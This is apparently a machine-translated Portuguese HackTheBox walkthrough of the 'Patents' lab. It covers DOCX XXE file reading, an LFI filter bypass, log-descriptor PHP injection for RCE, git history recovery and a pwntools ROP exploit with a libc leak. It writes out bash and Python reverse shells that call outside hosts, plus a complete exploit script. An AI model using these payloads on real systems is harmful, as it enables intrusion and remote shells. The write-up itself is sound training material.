HackTheBox. Patentes de passagem. XXE via DOCX, LFI para RCE, GIT e arquivos de cadeia ROP

imagem

Continuo publicando soluções enviadas para processamento adicional no site da HackTheBox .

Neste artigo, exploramos o XXE no serviço de conversão de documentos DOCX para PDF, obtemos o RCE via LFI, cavamos no histórico do GIT e restauramos arquivos, compomos cadeias de ROP usando pwntools e localizamos um arquivo raiz oculto.

A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes estejam disponíveis, pois você entra em uma rede privada com pessoas que sabem algo no campo da segurança da informação :)

Informações Organizacionais
, , Telegram . , , .

. , - , .

Recon


Esta máquina possui um endereço IP 10.10.10.173, que eu adiciono ao / etc / hosts.

10.10.10.173    patents.htb

Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 500 pacotes por segundo.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500

imagem

Agora, para obter informações mais detalhadas sobre os serviços que operam nas portas, executaremos uma varredura com a opção -A.

nmap -A patents.htb -p22,80,8888

imagem

O host executa serviços SSH e o servidor da web Apache, com a porta 8888 reservada para um serviço incompreensível. Vamos ver a web.

imagem

O site possui um formulário de download de documentos DOCX.

imagem

XXE DOCX


Segundo a declaração, nosso documento será convertido para o formato PDF. Isso sugere o pensamento de XXE. Eu peguei um exemplo daqui .

imagem

Assim, neste exemplo, o host tentará baixar o documento xml do servidor remoto. Ao fazer o download deste documento, ele lerá o arquivo local especificado no documento xml baixado, codificará em base64 e entrará em contato com nosso servidor novamente, passando o arquivo codificado como um parâmetro de solicitação. Ou seja, ao decodificar esse parâmetro, obtemos o arquivo da máquina remota.

Mas essa carga não deve ser colocada no caminho word / document.xml. Como o OpenXML SDK é usado para trabalhar com esse tipo de documento, segue -se daqui e daqui, o software do servidor procurará dados no word / document.xml e no customXML / item1.xml. Portanto, a carga deve ser colocada lá.

Vamos criar um documento docx e descompactá-lo como um arquivo zip. Depois disso, crie o diretório customXML e crie o arquivo item1.xml nele. Nele, escreveremos o código da imagem acima, alterando o endereço IP para o nosso. E arquivamos o documento de volta.

imagem

Agora execute o servidor da web local.

python3 -m http.server 80

E no diretório atual, criamos o segundo arquivo xml, especificando / etc / passwd como o arquivo desejado.

imagem

E faça o upload do documento para o servidor. Na janela com o servidor da web em execução, veremos a conexão reversa.

imagem

Decodifique base64 e obtenha o arquivo solicitado.

imagem

Dessa forma, podemos ler arquivos no servidor. Vamos ler os arquivos de configuração do Apache. Para fazer isso, altere dtd.xml e repita o download do documento.

imagem

imagem

Então, descobrimos o diretório em que o site está localizado. Vamos tentar ler o arquivo de configuração.

imagem

imagem

E o comentário diz que o arquivo foi renomeado devido à vulnerabilidade. Naturalmente, vamos nos referir a ele patents.htb / getPatent_alphav1.0.php .

imagem

Voltando a esta página e passando o caminho ../../../../../etc/passwd como o parâmetro id, todas as ocorrências de "../" serão excluídas da nossa linha. Vamos substituir cada linha "../" por "... /. /". Portanto, se você excluir uma sequência, ela permanecerá "../".

imagem

E nós encontramos LFI.

Ponto de entrada


Vamos tentar obter o RCE disso. Francamente - foi difícil. O fato é que, ao enviar um documento desse tipo, não recebemos uma oferta para baixar PDF. Ou seja, o descritor 2 foi usado (para exibir mensagens de diagnóstico e depuração em formato de texto). E podemos nos voltar para ele. Vamos codificar o shell reverso em base64:

/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn

Vamos decodificá-lo e passá-lo para a função de sistema em php. Vamos passar o código como um cabeçalho HTTP ao fazer upload de um arquivo.

curl http://patents.htb/convert.php -F "userfile=@file.docx" -F 'submit=Generate PDF' --referer 'http://test.com/<?php system(base64_decode("L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn")); ?>'

Execute o netcat.

nc -lvp 4321

E agora vamos ao segundo descritor.

curl http://patents.htb/getPatent_alphav1.0.php?id=....//....//....//....//....//....//....//proc//self//fd//2

Voltamos a conectar.

ROOT 1


Carregue as transferências de sistema de script linpeas e analise cuidadosamente a saída. Então, trabalhamos em um contêiner de encaixe.

imagem

Também encontramos hashes. Mas hackers, chegamos a nada.

imagem

imagem

Portanto, execute pspy64 para rastrear os processos em execução. E encontramos o início do processo como root, no qual a senha é passada como uma variável de ambiente.

imagem

E altere localmente o usuário digitando esta senha.

imagem

ROOT 2


Vamos ver o que esse script faz.

imagem

imagem

Recebemos uma dica sobre algum servidor lfms e também salvamos o nome de usuário e a senha. Vamos procurar no sistema tudo relacionado ao lfm.

imagem

E encontramos o repositório git neste diretório.

imagem

Vamos trabalhar com este repositório.

imagem

Vamos ver o histórico das mudanças.

imagem

Vamos ver o histórico das mudanças. Então, vemos que no penúltimo commit, um arquivo executável e uma descrição foram adicionados e, no último, eles já foram excluídos. Vamos reverter antes de excluir arquivos.

git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5

E em nosso diretório apareceu um arquivo executável e uma descrição.

imagem

imagem

Aqui eu já queria começar a reverter o arquivo, mas - nós temos um projeto git! Eu encontrei um commit que mencionava códigos fonte.

imagem

E vamos restaurar os arquivos.

git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123

Depois disso, baixamos os códigos-fonte de interesse, o próprio programa e as bibliotecas para a máquina local.

Rop


Precisamos tentar encontrar e explorar a vulnerabilidade no programa, existem códigos-fonte para ajudar. Vamos verificar a proteção em um arquivo binário.

imagem

Ou seja, o canário e a TORTA estão ausentes, mas a pilha não é executável. Vamos abrir o arquivo binário em qualquer desmontador com um descompilador conveniente para você (eu uso o IDA Pro 7.2) e comparar o código descompilado com os códigos-fonte do repositório.

imagem

Para conectar-se ao servidor e usar os dados do arquivo checker.py, além de credenciais.

imagem

imagem

Vamos escrever um modelo de exploração.

#!/usr/bin/python3

from pwn import *

context(os="linux", arch="amd64")
HOST = "127.0.0.1"
PORT = 8888
username = "lfmserver_user"
password = "!gby0l0r0ck$$!"

Vamos agora determinar a solicitação. Inicie o aplicativo.

imagem

Você deve enviar o caminho para o arquivo e o hash de seu conteúdo. Por exemplo, peguei o / etc / hosts.

imagem

Adicione o seguinte código ao modelo.

INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
file = "/etc/hosts"
md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32"
send_ = INPUTREQ.format(file,username, password, md5sum)

r = remote(HOST, PORT)
r.sendline(send_.encode())

r.interactive()

Agora execute e obtenha o erro 404.

imagem

Vamos ver o arquivo de log.

imagem

É claro onde o aplicativo está procurando um arquivo, vamos brincar com os caminhos e especificar esse arquivo.

file = "../../../../../etc/hosts"

Vamos executar o código e não veremos nenhum erro.

imagem

imagem

Mas no caso do urlencode, obtemos uma resposta com o código 200 do servidor!

file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"

imagem

Ótimo, vamos voltar ao desmontador. Encontramos entre as linhas (Shift + F12) uma resposta bem-sucedida do servidor. E vamos ver onde é acessado (X).

imagem

E passamos para a primeira função, onde no início há uma verificação de credenciais.

imagem

Vamos renomear as linhas variáveis ​​na janela do desmontador para facilitar o entendimento no descompilador.

imagem

E analisando o código nas linhas 18-24, entendendo o seguinte: parte da entrada do usuário cai na função sub_402DB9, onde a sequência é convertida no nome da variável, que depois cai na função de acesso e, se o resultado for negativo, a mensagem 404 será exibida. o nome da variável será o caminho para o arquivo. Como a solicitação foi processada mesmo na codificação de URL, essa função provavelmente é necessária para decodificação.

imagem

Mas o fato é que o nome da variável, onde os dados são transferidos, é de tamanho limitado.

imagem

Assim, para o estouro de buffer, precisamos transferir 0xA0 = 160 bytes. Vamos adicionar no código a função de adicionar até 160 bytes e codificar o caminho para o arquivo. Como o hash é calculado a partir do conteúdo do arquivo, é necessário não violar a integridade do caminho do arquivo, ou seja, após o caminho principal adicionar 0x00 bytes.

Mas o fato é que precisamos conhecer o hash de qualquer arquivo no servidor, que estará sempre disponível e nunca será alterado. Por exemplo, / proc / sys / kernel / randomize_va_space e, como lembramos da saída do linPEAS, o ASLR é ativado, ou seja, conhecemos o hash.

imagem

Então mude o código.

#!/usr/bin/python3
from pwn import *

def append_and_encode(file, rop=b""):
    ret = b""
    path = (file + b"\x00").ljust(160, b"A") + rop
    for i in path:
        ret += b"%" + hex(i)[2:].rjust(2,"0").encode()
    return ret

context(os="linux", arch="amd64", log_level="error")

HOST = "127.0.0.1"
PORT = 8888
INPUTREQ = b"CHECK /{1} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{2}\n"
md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space")
send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
r.interactive()

Funciona com sucesso!

imagem

Agora vamos usar um vazamento de memória e determinar o endereço em que a biblioteca libc está carregada. Para fazer isso, obtemos o endereço da função de gravação na biblioteca libc carregada.

binary = ELF("./lfmserver")
libc = ELF("./libc6.so")

rop_binary = ROP(binary)
rop_binary.write(0x6, binary.got['dup2'])
rop = flat(rop_binary.build())

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)

imagem

Agora selecione o endereço da função dup2 (os primeiros 8 bytes). Subtraia o endereço da função dup2 na biblioteca descarregada. Isto encontrará o endereço base da libc.

print(f"[*] Payload sent")

recv_ = r.recvall().split(b'\r')
leak = u64(recv_[-1][:8])
print(f"[*] Leak address: {hex(leak)}")
libc.address = leak - libc.symbols['dup2']
print(f"[+] Libc base: {hex(libc.address)}")

imagem

Agora encontre o endereço da linha / bin / sh.

shell_address = next(libc.search(b"/bin/sh\x00"))

Resta coletar o ROP, no qual os descritores de E / S padrão (0,1,2) serão redirecionados para o descritor registrado no programa (captura 6). Após o qual a função do sistema será chamada, onde passaremos o endereço da linha / bin / sh.

rop_libc = ROP(libc)
rop_libc.dup2(6,0)
rop_libc.dup2(6,1)
rop_libc.dup2(6,2)
rop_libc.system(shell_address)
rop = flat(rop_libc.build()) 

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)

context.log_level='info'
r.recv()
r.sendline(b"id")

imagem

Bem! Nós obtemos o shell da raiz. Mas ele está morrendo rapidamente. Execute o ouvinte (nc -lvp 8765) e ative o shell de conexão traseira.

r.sendline(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')

imagem

imagem

E nós temos uma concha estável. Dou o código completo na figura abaixo.

imagem

Mas não podemos ler a bandeira raiz ...

imagem

ROOT 3


Executando linpeas e olhando para a saída, encontramos seções interessantes, especialmente / dev / sda2.

imagem

Vamos obter informações sobre todos os dispositivos de bloco.

imagem

Portanto, temos a partição raiz / dev / sda2. Crie um diretório e monte a partição.

imagem

Então, encontramos a bandeira raiz.

Você pode se juntar a nós no Telegram . Lá você encontra materiais interessantes, cursos mesclados e softwares. Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.

All Articles